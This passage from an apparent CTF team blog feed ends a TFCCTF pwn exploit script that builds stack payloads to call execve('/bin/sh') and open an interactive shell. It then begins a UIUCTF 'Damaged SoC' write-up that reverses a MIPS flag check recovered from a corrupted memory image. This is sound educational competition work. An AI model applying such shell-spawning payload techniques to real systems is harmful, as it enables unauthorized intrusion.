</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">16</span> - <span style="color:#d0bf69">12</span>: p32(<span style="color:#d0bf69">0xff</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">16</span> - <span style="color:#d0bf69">4</span>: p32(<span style="color:#d0bf69">0</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">16</span> - <span style="color:#d0bf69">0</span>: p32(stack),
</span></span><span style="display:flex;"><span>    }, filler = <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    payload = payload.ljust(<span style="color:#d0bf69">112</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>    payload += p32(<span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>    payload += p32(stack) <span style="color:#6c7986">#rbp</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># set r3</span>
</span></span><span style="display:flex;"><span>    payload += p32(<span style="color:#d0bf69">0x87c0</span>)
</span></span><span style="display:flex;"><span>    payload += p32(stack+<span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># set r8</span>
</span></span><span style="display:flex;"><span>    payload += p32(<span style="color:#d0bf69">0x88a6</span>)
</span></span><span style="display:flex;"><span>    payload += p32(stack+<span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># read</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># [r3-0] -&gt; buf</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># [r8-12] -&gt; size</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># [r8-4] -&gt; fd</span>
</span></span><span style="display:flex;"><span>    payload += p32(<span style="color:#d0bf69">0x8888</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r.sendafter(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;read:&#34;</span>, payload)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">### SECOND PAYLOAD ###</span>
</span></span><span style="display:flex;"><span>    pause(<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    payload = fit({
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0</span>: p32(<span style="color:#d0bf69">0</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">4</span>: p32(<span style="color:#d0bf69">0</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">8</span>: p32(stack+<span style="color:#d0bf69">32</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">12</span>: p32(<span style="color:#d0bf69">221</span>+<span style="color:#d0bf69">21</span>), <span style="color:#6c7986">#execve</span>
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">32</span>: <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;/bin/sh</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>,
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    payload = payload.ljust(<span style="color:#d0bf69">132</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>    payload += p32(stack+<span style="color:#d0bf69">140</span>)
</span></span><span style="display:flex;"><span>    payload += p32(stack+<span style="color:#d0bf69">140</span>)
</span></span><span style="display:flex;"><span>    payload += p32(stack+<span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>    payload += p32(<span style="color:#d0bf69">0x8806</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r.send(payload)
</span></span><span style="display:flex;"><span>    r.interactive()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><p>Fun fact: I finished this script and got the flag at 4AM &#x1f64f;</p>
<pre tabindex="0"><code>TFCCTF{cromozominus_pulisaki_in_redacted_cro++_crorex_crovid}
</code></pre>]]></content></item><item><title>UIUCTF 25 - Damaged SoC</title><link>https://theromanxpl0.it/posts/2025/08/uiuctf-25-damaged-soc/</link><pubDate>Sun, 10 Aug 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/08/uiuctf-25-damaged-soc/</guid><description>&lt;p>&lt;em>Due to previous X ray damage, a part of SoC bFlash memory is corrupted. The board is unable to pass self-verification and boot. :/&lt;/em>&lt;/p>
&lt;p>Looks like our SoC was hit by a cosmic ray that flipped a few bits, let&amp;rsquo;s try to make sense of it and reverse the damage in order to get our board back up and running.&lt;/p>
&lt;h2 id="quick-rundown">Quick rundown&lt;/h2>
&lt;p>We&amp;rsquo;re given a SystemVerilog-simulated IC that is (fortunately) already precompiled for us with Verilator; I won&amp;rsquo;t go in depth into what SystemVerilog is and how it works in this writeup, but feel free to &lt;a href="https://www.systemverilog.io/">dive deeper&lt;/a> on your own, the gist of it is — it&amp;rsquo;s a hardware description and verification language that uses the &lt;em>synthesizable&lt;/em> subset to describe CPUs, memories, MMIO blocks and other components to model hardware, which can then be simulated by open or closed-source simulators like Verilator, Modelsim, etc.&lt;/p></description><content type="html"><![CDATA[<p><em>Due to previous X ray damage, a part of SoC bFlash memory is corrupted. The board is unable to pass self-verification and boot. :/</em></p>
<p>Looks like our SoC was hit by a cosmic ray that flipped a few bits, let&rsquo;s try to make sense of it and reverse the damage in order to get our board back up and running.</p>
<h2 id="quick-rundown">Quick rundown</h2>
<p>We&rsquo;re given a SystemVerilog-simulated IC that is (fortunately) already precompiled for us with Verilator; I won&rsquo;t go in depth into what SystemVerilog is and how it works in this writeup, but feel free to <a href="https://www.systemverilog.io/">dive deeper</a> on your own, the gist of it is — it&rsquo;s a hardware description and verification language that uses the <em>synthesizable</em> subset to describe CPUs, memories, MMIO blocks and other components to model hardware, which can then be simulated by open or closed-source simulators like Verilator, Modelsim, etc.</p>
<p>The challenge hands us a metric ton of files:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>├── infra
</span></span><span style="display:flex;"><span>│   └── src
</span></span><span style="display:flex;"><span>│       ├── modules
</span></span><span style="display:flex;"><span>│       │   ├── adder.sv
</span></span><span style="display:flex;"><span>│       │   ├── barrel_rotator32.sv
</span></span><span style="display:flex;"><span>│       │   ├── barrel_shifter32.sv
</span></span><span style="display:flex;"><span>│       │   ├── configurations.sv
</span></span><span style="display:flex;"><span>│       │   ├── core_branch.sv
</span></span><span style="display:flex;"><span>│       │   ├── core_forward.sv
</span></span><span style="display:flex;"><span>│       │   ├── core_hazard.sv
</span></span><span style="display:flex;"><span>│       │   ├── data_mem.sv
</span></span><span style="display:flex;"><span>│       │   ├── mips_decoder.sv
</span></span><span style="display:flex;"><span>│       │   ├── mips_define.sv
</span></span><span style="display:flex;"><span>│       │   ├── mux.sv
</span></span><span style="display:flex;"><span>│       │   ├── register.sv
</span></span><span style="display:flex;"><span>│       │   └── structures.sv
</span></span><span style="display:flex;"><span>│       ├── SOC.sv
</span></span><span style="display:flex;"><span>│       └── units
</span></span><span style="display:flex;"><span>│           ├── alu.sv
</span></span><span style="display:flex;"><span>│           ├── au.sv
</span></span><span style="display:flex;"><span>│           ├── core_EX.sv
</span></span><span style="display:flex;"><span>│           ├── core_ID.sv
</span></span><span style="display:flex;"><span>│           ├── core_IF.sv
</span></span><span style="display:flex;"><span>│           ├── core_MEM.sv
</span></span><span style="display:flex;"><span>│           ├── core.sv
</span></span><span style="display:flex;"><span>│           ├── cp0.sv
</span></span><span style="display:flex;"><span>│           ├── lu.sv
</span></span><span style="display:flex;"><span>│           ├── regfile.sv
</span></span><span style="display:flex;"><span>│           ├── stdout.sv
</span></span><span style="display:flex;"><span>│           ├── timer.sv
</span></span><span style="display:flex;"><span>│           └── VGA.sv
</span></span><span style="display:flex;"><span>├── memory.mem
</span></span><span style="display:flex;"><span>└── SOC_run_sim
</span></span></code></pre></div><p>but we don&rsquo;t need to go through all of them to understand what it does, in short:</p>
<ul>
<li><strong>infra/src</strong> contains the register transfer level for the whole SoC, it&rsquo;s the high abstraction layer that describes how data is transformed as it is passed from register to register, it contains <code>SOC.sv</code>, which is the top level, <code>data_mem.sv</code>, which models the memory (more on this later), CPU pipeline stages, peripherals (UART/stdout, etc.) and all the support modules that together model the hardware the simulator runs.</li>
<li><strong>memory.mem</strong> is a text-hex file in <code>$readmemh</code> format (text, lines with <code>@ADDR</code> followed by hex bytes). Verilog allows you to initialize memory from a text file with either hex or binary values, in our case, <code>data_mem.sv</code> shows <code>$readmemh(&quot;memory.mem&quot;, data_seg);</code></li>
<li><strong>SOC_run_sim</strong>, our executable, runs the simulation, loads a hex memory file (<code>memory.mem</code>) and starts up a MIPS64 little-endian CPU.</li>
</ul>
<p>But let&rsquo;s cut to the chase, what is all of this actually doing?</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ./SOC_run_sim
</span></span><span style="display:flex;"><span>Bootloading
</span></span><span style="display:flex;"><span>Starting verification:
</span></span><span style="display:flex;"><span>Incorrect key
</span></span><span style="display:flex;"><span>HALT
</span></span></code></pre></div><p>Well&hellip; not much right now.</p>
<p>Why is this happening? Well, the author mentioned that the memory is &ldquo;corrupted&rdquo;, analyzing <code>memory.mem</code> we can see what&rsquo;s happening:</p>
<pre tabindex="0"><code class="language-hex" data-lang="hex">@00000000
28 09 00 00
00 00 00 00
ef bf bd ef
bf bd ef bf
...
</code></pre><p>The first few lines contain several <code>EF BF BD</code> (the UTF-8 replacement character, “�”), a clear sign of corruption.</p>
<p>Our goal is to recover the boot ROM from the corrupted image, decompile, understand the “key” check (as we will see, the flag itself), craft the correct string and <strong>patch</strong> the memory so the verification passes and the board “boots.”</p>
<h2 id="decompiling">Decompiling</h2>
<p>Like many modern reverse engineering challenges, this step won&rsquo;t be as easy as throwing the binary into IDA or Ghidra, it&rsquo;s a little trickier than that. Running <code>SOC_run_sim</code> through IDA awakens cosmic horrors that are best left undisturbed:</p>
<p><img src="/uiuctf2025/damaged-soc/screenshot-1.png" alt="idaSOC"></p>
<p>Enter <code>sus.py</code>, courtesy of my teammate <a href="https://theromanxpl0.it/members/nect/">@nect</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>f = <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#39;memory.mem&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>block={}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cur = -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>acc = <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> l in f.readlines():
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> l.startswith(<span style="color:#fc6a5d">&#39;@&#39;</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> cur &gt;= <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>            block[cur] = acc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        acc = <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        cur = <span style="color:#d0a8ff">int</span>(l[<span style="color:#d0bf69">1</span>:], <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> x in l.split():
</span></span><span style="display:flex;"><span>            acc += <span style="color:#d0a8ff">int</span>(x,<span style="color:#d0bf69">16</span>).to_bytes(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> cur &gt;= <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>    block[cur] = acc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>o = <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#39;out.bin&#39;</span>, <span style="color:#fc6a5d">&#39;wb&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>last_addr = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> addr, mem in <span style="color:#d0a8ff">sorted</span>(block.items()):
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Addr:&#34;</span>, addr)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(mem)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    o.write(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>*(addr-last_addr))
</span></span><span style="display:flex;"><span>    last_addr=addr+<span style="color:#d0a8ff">len</span>(mem)
</span></span><span style="display:flex;"><span>    o.write(mem)
</span></span></code></pre></div><p>It reads <code>memory.mem</code>, groups blocks by address (<code>@...</code>) and concatenates bytes, filling gaps with zeros, and writes everything to <code>out.bin</code>.</p>
<p>We can now repeat the previous step and decompile the newly obtained file with IDA,</p>
<ul>
<li><em>File format: Binary file (raw).</em></li>
<li><em>CPU: mipsl, ABI n64.</em></li>
<li><em>Base address: <code>0x0</code>.</em></li>
</ul>
<p><img src="/uiuctf2025/damaged-soc/screenshot-2.png" alt="idamem"></p>
<p>Much better.
The main code starts at <code>0x100</code>, it immediately prints:</p>
<ul>
<li><code>&quot;Bootloading\n&quot;</code></li>
<li><code>&quot;Starting verification:&quot;</code></li>
</ul>
<p>using a “UART print” routine (<code>sub_838</code>) that writes to MMIO <code>0x20000010</code>.</p>
<p>Running <code>strings</code> on <code>out.bin</code> lends us a few extra insights (and a little waste of time):</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>GCC: (GNU) 15.1.
</span></span><span style="display:flex;"><span>xVB40
</span></span><span style="display:flex;"><span>hB4x
</span></span><span style="display:flex;"><span>&lt;!CB4!
</span></span><span style="display:flex;"><span>2B4&amp;
</span></span><span style="display:flex;"><span>abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
</span></span><span style="display:flex;"><span>Bootloading
</span></span><span style="display:flex;"><span>Starting verification:
</span></span><span style="display:flex;"><span>Incorrect key
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">HALT</span>
</span></span><span style="display:flex;"><span>===verification passed!===
</span></span><span style="display:flex;"><span>vq{uv|qw
</span></span><span style="display:flex;"><span>Incorrect key
</span></span></code></pre></div><p><strong><code>vq{uv|qw</code></strong></p>
<pre tabindex="0"><code>flag[15] = key[0]-16 = &#39;v&#39;(118)-16 = 102 = &#39;f&#39;
flag[16] = key[1]-16 = &#39;q&#39;(113)-16 = 97 = &#39;a&#39;
flag[17] = key[2]-16 = &#39;{&#39;(123)-16 = 107 = &#39;k&#39;
flag[18] = key[3]-16 = &#39;u&#39;(117)-16 = 101 = &#39;e&#39;
flag[19] = key[4]-16 = &#39;v&#39;(118)-16 = 102 = &#39;f&#39;
flag[20] = key[5]-16 = &#39;|&#39;(124)-16 = 108 = &#39;l&#39;
flag[21] = key[6]-16 = &#39;q&#39;(113)-16 = 97 = &#39;a&#39;
flag[22] = key[7]-16 = &#39;w&#39;(119)-16 = 103 = &#39;g&#39;`
</code></pre><p>&hellip;
Let&rsquo;s move on.</p>
<h2 id="time-to-rev">Time to Rev</h2>
<p>In <code>sub_100</code> the firmware sets the key pointer to the data blob starting at <code>unk_8</code>(memory offset <code>0x00000008</code> in <code>memory.mem</code>) and passes it to <code>sub_208</code> as <code>arg_18</code>, the pointer to the candidate flag buffer (which I&rsquo;ll call <code>buf</code> in the following examples)</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">dli</span>   $v0, unk_8
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">sd</span>    $v0, <span style="color:#d0bf69">0x70</span><span style="color:#960050">+</span>var_58($sp)
</span></span></code></pre></div><p>The core of the flag verification lies in the function labelled <code>sub_208</code> by IDA, its prologue checks that <code>v0 == 0</code>, if it does, it jumps to the verification step <code>loc_224</code>, otherwise it makes a simulator syscall (<code>0x6D8</code>) and returns:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vbnet" data-lang="vbnet"><span style="display:flex;"><span>ROM:0000000000000208  nop
</span></span><span style="display:flex;"><span>ROM:000000000000020C  lw     <span style="color:#960050">$</span>v0, arg_0(<span style="color:#960050">$</span>sp) <span style="color:#960050">;</span> load first argument (stack slot IDA named arg_0)
</span></span><span style="display:flex;"><span>ROM:0000000000000210  beqz   <span style="color:#960050">$</span>v0, loc_224   <span style="color:#960050">;</span> <span style="color:#fc5fa3">if</span> (v0 == 0) jump <span style="color:#fc5fa3">to</span> verification
</span></span><span style="display:flex;"><span>ROM:0000000000000214  nop                   <span style="color:#960050">;</span> branch-delay slot
</span></span><span style="display:flex;"><span>ROM:0000000000000218  syscall 0x6D8        <span style="color:#960050">;</span> <span style="color:#fc5fa3">else</span>: make a simulator syscall/trap
</span></span><span style="display:flex;"><span>ROM:000000000000021C  jr     <span style="color:#960050">$</span>ra            <span style="color:#960050">;</span> and <span style="color:#fc5fa3">return</span> immediately
</span></span><span style="display:flex;"><span>ROM:0000000000000220  nop
</span></span></code></pre></div><h3 id="1-prefix-check-uiuctf-bytes-06">1. Prefix check: <code>uiuctf{</code> (bytes 0..6)</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>    $v0, arg_18($sp)   <span style="color:#6c7986">; buf
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">lb</span>    $v0, <span style="color:#d0bf69">0</span>($v0)        <span style="color:#6c7986">; buf[0]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">xori</span>  $v0, <span style="color:#d0bf69">0x75</span>          <span style="color:#6c7986">; &#39;u&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">sltiu</span> $v0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">andi</span>  $v0, <span style="color:#d0bf69">0xFF</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">move</span>  $v1, $v0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">ld</span>    $v0, arg_18($sp)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lb</span>    $v0, <span style="color:#d0bf69">0</span>($v0)        <span style="color:#6c7986">; buf[1]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">xori</span>  $v0, <span style="color:#d0bf69">0x69</span>          <span style="color:#6c7986">; &#39;i&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>... (same pattern for <span style="color:#960050">&#39;</span>u<span style="color:#960050">&#39;</span>,<span style="color:#960050">&#39;</span>c<span style="color:#960050">&#39;</span>,<span style="color:#960050">&#39;</span>t<span style="color:#960050">&#39;</span>,<span style="color:#960050">&#39;</span>f<span style="color:#960050">&#39;</span>,<span style="color:#960050">&#39;{&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">lb</span>    $v0, <span style="color:#d0bf69">0</span>($v0)        <span style="color:#6c7986">; buf[6]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#41a1c0">xori</span>  $v0, <span style="color:#d0bf69">0x7B</span>          <span style="color:#6c7986">; &#39;{&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>...
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">li</span>    $v0, <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">bne</span>   $v1, $v0, loc_318  <span style="color:#6c7986">; require all 7 matches
</span></span></span></code></pre></div><p>in pseudoC:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> ( (*a12 == <span style="color:#d0bf69">0x75LL</span>)  <span style="color:#6c7986">// &#39;u&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    + (a12[<span style="color:#d0bf69">1</span>] == <span style="color:#d0bf69">0x69LL</span>)  <span style="color:#6c7986">// &#39;i&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    + (a12[<span style="color:#d0bf69">2</span>] == <span style="color:#d0bf69">0x75LL</span>)  <span style="color:#6c7986">// &#39;u&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    + (a12[<span style="color:#d0bf69">3</span>] == <span style="color:#d0bf69">0x63LL</span>)  <span style="color:#6c7986">// &#39;c&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    + (a12[<span style="color:#d0bf69">4</span>] == <span style="color:#d0bf69">0x74LL</span>)  <span style="color:#6c7986">// &#39;t&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    + (a12[<span style="color:#d0bf69">5</span>] == <span style="color:#d0bf69">0x66LL</span>)  <span style="color:#6c7986">// &#39;f&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    + (a12[<span style="color:#d0bf69">6</span>] == <span style="color:#d0bf69">0x7BLL</span>) == <span style="color:#d0bf69">7LL</span> )  <span style="color:#6c7986">// &#39;{&#39;
</span></span></span></code></pre></div><p><strong><code>flag = uiuctf{</code></strong></p>
<h3 id="2-mirror-pattern-for-bytes-7-to-12">2. Mirror pattern for bytes 7 to 12</h3>
<p>A loop runs with i = 0..5 (stored in <code>idx</code> at <code>0xC($sp)</code>), splitting into cases:</p>
<ol>
<li><strong>i == 0 or 2</strong> → <code>buf[i] == buf[i+7] + 0x20</code> (lowercase equals uppercase + 32) -&gt; <strong><code>loc_410</code></strong> routine</li>
<li><strong>i == 1</strong> → <code>buf[i+7] == '_'</code> -&gt; <strong><code>loc_45C</code></strong> routine</li>
<li><strong>i == 3,4,5</strong> → <code>buf[i] == buf[i+7]</code> -&gt; <strong><code>loc_45C</code></strong>/<strong><code>loc_4A0</code></strong> routines</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span>loc_3F4:
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0xC</span>($sp)           <span style="color:#6c7986">; idx
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">beqz</span>  $v0, loc_410            <span style="color:#6c7986">; idx == 0 → case 1 (lowercase = uppercase+0x20)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  ...
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lw</span>    $v1, <span style="color:#d0bf69">0xC</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">li</span>    $v0, <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">bne</span>   $v1, $v0, loc_45C       <span style="color:#6c7986">; idx != 2 → cases 2/3
</span></span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>loc_410:                         <span style="color:#6c7986">; case 1: idx==0 or idx==2
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0xC</span>($sp)           <span style="color:#6c7986">; idx
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">ld</span>    $v1, <span style="color:#d0bf69">0x18</span>($sp)          <span style="color:#6c7986">; buf
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">daddu</span> $v0, $v1, $v0
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lb</span>    $v0, <span style="color:#d0bf69">0</span>($v0)             <span style="color:#6c7986">; a0 = buf[idx]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">move</span>  $a0, $v0
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0xC</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">ld</span>    $v1, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddu</span> $v0, $v1, $v0
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lb</span>    $v0, <span style="color:#d0bf69">0</span>($v0)             <span style="color:#6c7986">; v0 = buf[idx+7]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">addiu</span> $v0, <span style="color:#d0bf69">0x20</span>               <span style="color:#6c7986">; v0 += 0x20
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">xor</span>   $v0, $a0, $v0           <span style="color:#6c7986">; buf[idx] == buf[idx+7] + 0x20
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">sltiu</span> $v0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">andi</span>  $v0, <span style="color:#d0bf69">0xFF</span>
</span></span><span style="display:flex;"><span>  ... accumulate into ok-bit ...
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span>loc_45C:                         <span style="color:#6c7986">; cases 2/3
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">lw</span>    $v1, <span style="color:#d0bf69">0xC</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">li</span>    $v0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">bne</span>   $v1, $v0, loc_4A0        <span style="color:#6c7986">; if idx != 1 → case 3
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  ...
</span></span><span style="display:flex;"><span>  <span style="color:#6c7986">; case B: idx == 1 → enforce underscore at buf[idx+7]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">lw</span>    $v0, <span style="color:#d0bf69">0xC</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddiu</span> $v0, <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">ld</span>    $v1, <span style="color:#d0bf69">0x18</span>($sp)
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">daddu</span> $v0, $v1, $v0
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">lb</span>    $v0, <span style="color:#d0bf69">0</span>($v0)              <span style="color:#6c7986">; buf[idx+7]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">xori</span>  $v0, <span style="color:#d0bf69">0x5F</span>                <span style="color:#6c7986">; &#39;_&#39;
